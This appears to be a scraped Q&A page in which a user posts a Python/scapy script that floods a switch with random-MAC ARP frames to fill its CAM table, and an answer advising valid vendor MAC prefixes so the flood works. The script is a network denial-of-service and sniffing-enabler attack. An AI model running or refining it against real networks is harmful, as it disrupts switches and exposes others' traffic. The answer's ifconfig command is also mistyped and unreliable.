python/scapy mac flooding script

12,571

You can only use some mac address: a mac address is composed by six groups of two hexadecimal digits, separated by hyphens (-) or colons (:). The first three fields must be filled with some values, different for every vendor. If this fields are not set with any vendor code the server (or the client) will drop the packet. You can find mac vendors list on wireshark manuf file, or simply looking for it with google. You can check the address by typing "sudo ifcofig IFACE ether hw ADDRESS" in the terminal.

Share:
12,571
Jawed Sheikh
Author by

Jawed Sheikh

Updated on June 04, 2022

Comments

  • Jawed Sheikh
    Jawed Sheikh almost 2 years

    I'm trying to make a small mac flood tool in python to fill my switches cam tables but i cant make the magic happen? can you see what im doing wrong?

    from scapy.all import *
    while 1:
      dest_mac = RandMAC()
      src_mac = RandMAC()
      sendp(Ether(src=src_mac, dst=dest_mac)/ARP(op=2, psrc="0.0.0.0", hwsrc=src_mac, hwdst=dest_mac)/Padding(load="X"*18), verbose=0)
    

    while the code seems to run fine it just dont do its job. to test it i used wireshark to look at the packets then ran THC's parasite "which works" and the packets are almost the same so im not sure what is going on. Thank you for any help.